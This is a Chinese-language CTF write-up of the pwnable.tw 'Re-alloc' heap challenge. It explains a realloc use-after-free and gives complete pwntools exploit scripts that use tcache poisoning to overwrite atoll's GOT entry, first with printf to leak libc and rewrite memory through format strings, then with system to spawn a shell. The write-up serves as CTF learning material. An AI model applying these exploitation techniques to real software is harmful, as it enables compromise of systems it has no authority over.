Pwnable.tw-Re-alloc

2024-09-23

Pwnable.tw-Re-alloc

Author: 堇姬Naup

env

他的版本是 Ubuntu GLIBC 2.29-0ubuntu2
glibc all in one載下 libc跟ld

1
./download_old 2.29-0ubuntu2_amd64

用 patchelf 來patch

1
2
3
4
5
6
patchelf --set-interpreter ld-2.29.so realloc
patchelf --replace-needed libc.so.6 ./libc-2.29.so realloc
naup@naup-virtual-machine:~/Desktop/pwn/pwnable/realloc$ ldd realloc
linux-vdso.so.1 (0x00007ffc9c3e4000)
./libc-2.29.so (0x00007a21af43b000)
ld-2.29.so => /lib64/ld-linux-x86-64.so.2 (0x00007a21af628000)

IDA分析

main

會讀取choice,並進入到對應的function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
v3 = 0;
init_proc(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v3);
if ( v3 != 2 )
break;
reallocate();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
rfree();
}
else
{
if ( v3 == 4 )
_exit(0);
LABEL_13:
puts("Invalid Choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
allocate();
}
}
}

3個功能
alloc
realloc
free

1
2
3
4
5
6
7
8
9
10
11
12
int menu()
{
puts("$$$$$$$$$$$$$$$$$$$$$$$$$$$$");
puts(&byte_402070);
puts("$$$$$$$$$$$$$$$$$$$$$$$$$$$$");
puts("$ 1. Alloc $");
puts("$ 2. Realloc $");
puts("$ 3. Free $");
puts("$ 4. Exit $");
puts("$$$$$$$$$$$$$$$$$$$$$$$$$$$");
return printf("Your choice: ");
}

allocate

他會接收index,可以是 1 或 0
並且接收size,不能大於0x78
之後call realloc -> prt = 0 -> malloc(size)

heap[index] = heap pointer
輸入data,並在最後補0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int allocate()
{
_BYTE *v0; // rax
unsigned __int64 v2; // [rsp+0h] [rbp-20h]
unsigned __int64 size; // [rsp+8h] [rbp-18h]
void *v4; // [rsp+18h] [rbp-8h]

printf("Index:");
v2 = read_long();
if ( v2 > 1 || heap[v2] )
{
LODWORD(v0) = puts("Invalid !");
}
else
{
printf("Size:");
size = read_long();
if ( size <= 0x78 )
{
v4 = realloc(0LL, size);
if ( v4 )
{
heap[v2] = v4;
printf("Data:");
v0 = (_BYTE *)(heap[v2] + read_input(heap[v2], (unsigned int)size));
*v0 = 0;
}
else
{
LODWORD(v0) = puts("alloc error");
}
}
else
{
LODWORD(v0) = puts("Too large!");
}
}
return (int)v0;
}

rfree

輸入index
用realloc heap[ptr],並把size設為0,這是跟free一樣的效果
並把heap[ptr]清空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int rfree()
{
_QWORD *v0; // rax
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

printf("Index:");
v2 = read_long();
if ( v2 > 1 )
{
LODWORD(v0) = puts("Invalid !");
}
else
{
realloc((void *)heap[v2], 0LL);
v0 = heap;
heap[v2] = 0LL;
}
return (int)v0;

realloc

他可以輸入index跟size,並且用realloc分配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int reallocate()
{
unsigned __int64 v1; // [rsp+8h] [rbp-18h]
unsigned __int64 size; // [rsp+10h] [rbp-10h]
void *v3; // [rsp+18h] [rbp-8h]

printf("Index:");
v1 = read_long();
if ( v1 > 1 || !heap[v1] )
return puts("Invalid !");
printf("Size:");
size = read_long();
if ( size > 0x78 )
return puts("Too large!");
v3 = realloc((void *)heap[v1], size);
if ( !v3 )
return puts("alloc error");
heap[v1] = v3;
printf("Data:");
return read_input(heap[v1], (unsigned int)size);
}

realloc是啥

1
void *realloc(void *ptr, size_t size)

realloc長這樣
如果ptr = 0,那就是malloc(size)
如果size = 0,那就是free(ptr)
如果兩個都不為0,則是重新分配該chunk

分析

首先先來看 realloc,我們可以控heap array 跟size,我如果把size填為 0 ,他會去free掉heap[idx],但因為realloc free回傳的是0,所以不會去清空掉heap[idx],導致UAF

感覺可以打 tcache poinsoning,那要如何leak libc呢

要如何leak libc想了很久,也大概是這題的考點

首先我的想法是 heap arr位於bss上可以去做任意寫蓋成我們想要free的地方,我用任意寫在bss段上寫一個大chunk,去free他,以此來leak,但是沒有show,就算該位置有libc,也leak不出來

在這部分有個off by null,但是沒什麼用,都已經有任意寫了www

1
2
3
4
heap[v2] = v4;
printf("Data:");
v0 = (_BYTE *)(heap[v2] + read_input(heap[v2], (unsigned int)size));
*v0 = 0;

那就找GOT下手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0000000000403ff0 R_X86_64_GLOB_DAT __libc_start_main@GLIBC_2.2.5
0000000000403ff8 R_X86_64_GLOB_DAT __gmon_start__
0000000000404080 R_X86_64_COPY stdout@GLIBC_2.2.5
0000000000404090 R_X86_64_COPY stdin@GLIBC_2.2.5
00000000004040a0 R_X86_64_COPY stderr@GLIBC_2.2.5
0000000000404018 R_X86_64_JUMP_SLOT _exit@GLIBC_2.2.5
0000000000404020 R_X86_64_JUMP_SLOT __read_chk@GLIBC_2.4
0000000000404028 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
0000000000404030 R_X86_64_JUMP_SLOT __stack_chk_fail@GLIBC_2.4
0000000000404038 R_X86_64_JUMP_SLOT printf@GLIBC_2.2.5
0000000000404040 R_X86_64_JUMP_SLOT alarm@GLIBC_2.2.5
0000000000404048 R_X86_64_JUMP_SLOT atoll@GLIBC_2.2.5
0000000000404050 R_X86_64_JUMP_SLOT signal@GLIBC_2.2.5
0000000000404058 R_X86_64_JUMP_SLOT realloc@GLIBC_2.2.5
0000000000404060 R_X86_64_JUMP_SLOT setvbuf@GLIBC_2.2.5
0000000000404068 R_X86_64_JUMP_SLOT __isoc99_scanf@GLIBC_2.7

觀察了一陣子,看到atoll,去看一下他在哪裡被調用

1
2
3
4
5
6
7
8
9
__int64 read_long()
{
char nptr[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]

v2 = __readfsqword(0x28u);
__read_chk(0LL, nptr, 16LL, 17LL);
return atoll(nptr);
}

他會去atoll nptr這個buffer

如果我把atoll改成printf,就存在fmt,應該可以leak libc

在進入排heap之前我們需要知道一個特性,就是realloc一個chunk的時候,如果tcache key存在,就不會清空tcache entry

所以就這樣排
alloc 一塊0x10
realloc free掉
realloc 一塊,改掉fd並蓋掉tcache key
就會變成

1
tcache -> chunk 0 -> fake

alloc一塊chunk 0
現在heap arr滿了
我們可以透過realloc 0x30把chunk擴張到0x30,最後再拔掉

再alloc一塊0x10就拿到fake chunk了,這裡填GOT

1
2
pwndbg> x/10xg 0x4040B0
0x4040b0 <heap>: 0x0000000001708260 0x0000000000404048

這樣就任意寫到heap了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./realloc')
debug_init()

else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10106")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
p_c(r,'b *0x40171f')

### heap I/O
def alloc(index,size,data):
sla(b'Your choice: ',b'1')
sla(b'Index:',str(index).encode())
sla(b'Size:',str(size).encode())
sla(b'Data:',data)

def free(index):
sla(b'Your choice: ',b'3')
sla(b'Index:',str(index).encode())

def realloc(index,size,data):
sla(b'Your choice: ',b'2')
sla(b'Index:',str(index).encode())
sla(b'Size:',str(size).encode())
if size != 0:
sla(b'Data:',data)

### exploit

atoll_GOT = 0x404048
printf_PLT = 0x401070

alloc(0,0x10,b'aaaa')
realloc(0,0,b'aaa')

realloc(0,0x10,p64(atoll_GOT)+p64(0))
alloc(1,0x10,b'aaaaaaaa')

realloc(1,0x30,b'aaa')
free(1)

alloc(1,0x10,p64(printf_PLT))


NAUPINFO('atoll GOT',hex(atoll_GOT))
NAUPINFO('printf_PLT',hex(printf_PLT))

### interactive
ita()

執行下去拿到fmt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
naup@naup-virtual-machine:~/Desktop/pwn/pwnable/realloc$ python3 exploit.py 
local?(y/n):y
[+] Starting local process './realloc': pid 4533
open debug?(y/n/srop)n
attach?(y/n)n
NAUPINFO @ atoll GOT: 0x404048
NAUPINFO @ printf_PLT: 0x401070
[*] Switching to interactive mode
$$$$$$$$$$$$$$$$$$$$$$$$$$$$
🍊 RE Allocator 🍊
$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$ 1. Alloc $
$ 2. Realloc $
$ 3. Free $
$ 4. Exit $
$$$$$$$$$$$$$$$$$$$$$$$$$$$
Your choice: $ 3
Index:$ %p
0x7ffd2d731480

libc位於rsp+0x18

用 %9$p

leak成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./realloc')
debug_init()

else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10106")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
p_c(r,'b *0x40171f')

### heap I/O
def alloc(index,size,data):
sla(b'Your choice: ',b'1')
sla(b'Index:',str(index).encode())
sla(b'Size:',str(size).encode())
sla(b'Data:',data)

def free(index):
sla(b'Your choice: ',b'3')
sla(b'Index:',str(index).encode())

def realloc(index,size,data):
sla(b'Your choice: ',b'2')
sla(b'Index:',str(index).encode())
sla(b'Size:',str(size).encode())
if size != 0:
sla(b'Data:',data)

def fmt(fmt):
sla(b'Your choice: ',b'3')
sla(b'Index:',fmt)

### exploit

atoll_GOT = 0x404048
printf_PLT = 0x401070

alloc(0,0x10,b'aaaa')
realloc(0,0,b'aaa')

realloc(0,0x10,p64(atoll_GOT)+p64(0))
alloc(1,0x10,b'aaaaaaaa')

realloc(1,0x30,b'aaa')
free(1)

alloc(1,0x10,p64(printf_PLT))

fmt(b'%9$p')
leaklibc = int(rcl().strip(),16)
libcbase = leaklibc - 0x83e4a

NAUPINFO('atoll GOT',hex(atoll_GOT))
NAUPINFO('printf_PLT',hex(printf_PLT))
NAUPINFO('LEAKLIBC',hex(leaklibc))
NAUPINFO('LIBCBASE',hex(libcbase))
### interactive
ita()

結果我打到這裡就卡住了
因為我把atoll改成printf,導致我function不能用

後來看到printf回傳值是印出的字元數,所以可以控回傳
https://kknews.cc/zh-tw/tech/gvv9mp9.html
%xxxc\x00的方式

然而當我嘗試排了許多次heap,heap arr[1]卡著一塊GOT address,所以我想利用手上有的fmt,寫掉heap arr,但是輸入長度只有0x10,所以我想到可以用stack上value來寫heap addr做寫入

先寫入4bytes的heap arr再stack上,並且用fmt蓋0去蓋掉低位byte
我一次蓋2bytes,再去修改stack 上 heap arr address(這邊只蓋低位1bytes就行了),address+0x2蓋掉heap arr
以此類推
最後把heap arr 0跟1都蓋成0

1
2
3
4
5
6
7
8
9
10
11
%4210872c%46$n
%65536c%47$hn

%186c%46$hhn
%65536c%47$hn

%176c%46$hhn
%65536c%47$hn

%178c%46$hhn
%65536c%47$hn

這樣就成功把整個heap arr清空掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./realloc')
debug_init()

else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10106")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
p_c(r,'b *0x40171f')

### heap I/O
def alloc(index,size,data):
sla(b'Your choice: ',b'1')
sla(b'Index:',str(index).encode())
sla(b'Size:',str(size).encode())
sla(b'Data:',data)

def free(index):
sla(b'Your choice: ',b'3')
sla(b'Index:',str(index).encode())

def realloc(index,size,data):
sla(b'Your choice: ',b'2')
sla(b'Index:',str(index).encode())
sla(b'Size:',str(size).encode())
if size != 0:
sla(b'Data:',data)

def fmt(fmt):
sla(b'Your choice: ',b'3')
sla(b'Index:',fmt)

### exploit

atoll_GOT = 0x404048
printf_PLT = 0x401070

alloc(0,0x10,b'aaaa')
realloc(0,0,b'aaa')

realloc(0,0x10,p64(atoll_GOT)+p64(0))
alloc(1,0x10,b'aaaaaaaa')

realloc(1,0x30,b'aaa')
free(1)

alloc(1,0x10,p64(printf_PLT))

### leaklibc
fmt(b'%9$p')
leaklibc = int(rcl().strip(),16)
libcbase = leaklibc - 0x83e4a

heap_arr0 = 0x4040b0
heap_arr1 = 0x4040b8

# write 0x4040b8 & 0xffff -> 0
fmt(b'%4210872c%46$n'.ljust(0x10,b'\x00'))
fmt(b'%65536c%47$hn'.ljust(0x10,b'\x00'))

# write 0x4040ba & 0xffff -> 0
fmt(b'%186c%46$hhn'.ljust(0x10,b'\x00'))
fmt(b'%65536c%47$hn'.ljust(0x10,b'\x00'))

# write 0x4040b0 & 0xffff -> 0
fmt(b'%176c%46$hhn'.ljust(0x10,b'\x00'))
fmt(b'%65536c%47$hn'.ljust(0x10,b'\x00'))

# write 0x4040b2 & 0xffff -> 0
fmt(b'%178c%46$hhn'.ljust(0x10,b'\x00'))
fmt(b'%65536c%47$hn'.ljust(0x10,b'\x00'))

#heap_arr0 = 0x4040b0
#heap_arr1 = 0x4040b8


### info
NAUPINFO('atoll GOT',hex(atoll_GOT))
NAUPINFO('printf_PLT',hex(printf_PLT))
NAUPINFO('LEAKLIBC',hex(leaklibc))
NAUPINFO('LIBCBASE',hex(libcbase))
### interactive
ita()

接下來可以跟原本一樣去打UAF,做tcahce poinsoning,來拿到fake chunk
這邊雖然清掉了heap arr,但是heap tcache pthread struct中依然存在一些不乾淨的值,所以這邊打UAF用跟之前不一樣大小的chunk來打
把atoll蓋成libc system address
之後傳入/bin/sh,就可以開一個shell 了

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./realloc')
debug_init()

else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10106")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
p_c(r,'b *0x40171f')

### heap I/O
def alloc(index,size,data):
sla(b'Your choice: ',b'1')
sla(b'Index:',str(index).encode())
sla(b'Size:',str(size).encode())
sla(b'Data:',data)

def free(index):
sla(b'Your choice: ',b'3')
sla(b'Index:',str(index).encode())

def realloc(index,size,data):
sla(b'Your choice: ',b'2')
sla(b'Index:',str(index).encode())
sla(b'Size:',str(size).encode())
if size != 0:
sla(b'Data:',data)

def fmt(fmt):
sla(b'Your choice: ',b'3')
sla(b'Index:',fmt)

### exploit

atoll_GOT = 0x404048
printf_PLT = 0x401070

alloc(0,0x10,b'aaaa')
realloc(0,0,b'aaa')

realloc(0,0x10,p64(atoll_GOT)+p64(0))
alloc(1,0x10,b'aaaaaaaa')

realloc(1,0x30,b'aaa')
free(1)

alloc(1,0x10,p64(printf_PLT))

### leaklibc
fmt(b'%9$p')
leaklibc = int(rcl().strip(),16)
libcbase = leaklibc - 0x83e4a

heap_arr0 = 0x4040b0
heap_arr1 = 0x4040b8

# write 0x4040b8 & 0xffff -> 0
fmt(b'%4210872c%46$n'.ljust(0x10,b'\x00'))
fmt(b'%65536c%47$hn'.ljust(0x10,b'\x00'))

# write 0x4040ba & 0xffff -> 0
fmt(b'%186c%46$hhn'.ljust(0x10,b'\x00'))
fmt(b'%65536c%47$hn'.ljust(0x10,b'\x00'))

# write 0x4040b0 & 0xffff -> 0
fmt(b'%176c%46$hhn'.ljust(0x10,b'\x00'))
fmt(b'%65536c%47$hn'.ljust(0x10,b'\x00'))

# write 0x4040b2 & 0xffff -> 0
fmt(b'%178c%46$hhn'.ljust(0x10,b'\x00'))
fmt(b'%65536c%47$hn'.ljust(0x10,b'\x00'))

### UAF
sla(b'Your choice: ',b'1')
sla(b'Index:',b'\x00')
sla(b'Size:',b'%64c\x00')
sla(b'Data:',b'aaaa')


sla(b'Your choice: ',b'2')
sla(b'Index',b'\x00')
sla(b'Size:',b'\x00')


sla(b'Your choice: ',b'2')
sla(b'Index:',b'\x00')
sla(b'Size:',b'%64c\x00')
sla(b'Data:',p64(atoll_GOT)+p64(0))

libc_system = libcbase + 0x52fd0


sla(b'Your choice: ',b'1')
sla(b'Index:',b'%1c\x00')
sla(b'Size:',b'%64c\x00')
sla(b'Data:',b'aaaaaa')

sla(b'Your choice: ',b'2')
sla(b'Index',b'%1c\x00')
sla(b'Size:',b'%80c\x00')
sla(b'Data:',b'aaaaa')

sla(b'Your choice: ',b'3')
sla(b'Index:',b'%1c\x00')


sla(b'Your choice: ',b'1')
sla(b'Index:',b'%1c\x00')
sla(b'Size:',b'%64c\x00')
sla(b'Data:',p64(libc_system))

sla(b'Your choice: ',b'3')
sla(b'Index',b'/bin/sh\x00')

#heap_arr0 = 0x4040b0
#heap_arr1 = 0x4040b8


### info
NAUPINFO('atoll GOT',hex(atoll_GOT))
NAUPINFO('printf_PLT',hex(printf_PLT))
NAUPINFO('LEAKLIBC',hex(leaklibc))
NAUPINFO('LIBCBASE',hex(libcbase))
NAUPINFO('LIBC SYSTEM',hex(libc_system))
### interactive
ita()

後記

這題寫了好久,主要是卡在heap arr卡著GOT的位置
原本是想要用fmt去寫GOT成libc,但是需要一次寫入,否則再次呼叫function的時候就會crash掉,但一次寫8bytes遠端會不太穩定,所以改成清空掉heap arr,重打UAF+tcache poinsoning

最後補個realloc所有狀況

1
2
3
4
5
6
realloc(ptr,size)
1.ptr == 0 : malloc(size)
2.ptr != 0 && size == 0 : free(ptr)
3.ptr != 0 && size == old_size : edit(ptr)
3.ptr != 0 && size < old_size : edit(ptr) and free(remainder)
4.ptr != 0 && size > old_size : malloc(size);strcpy(new_ptr,ptr);free(ptr);return new_ptr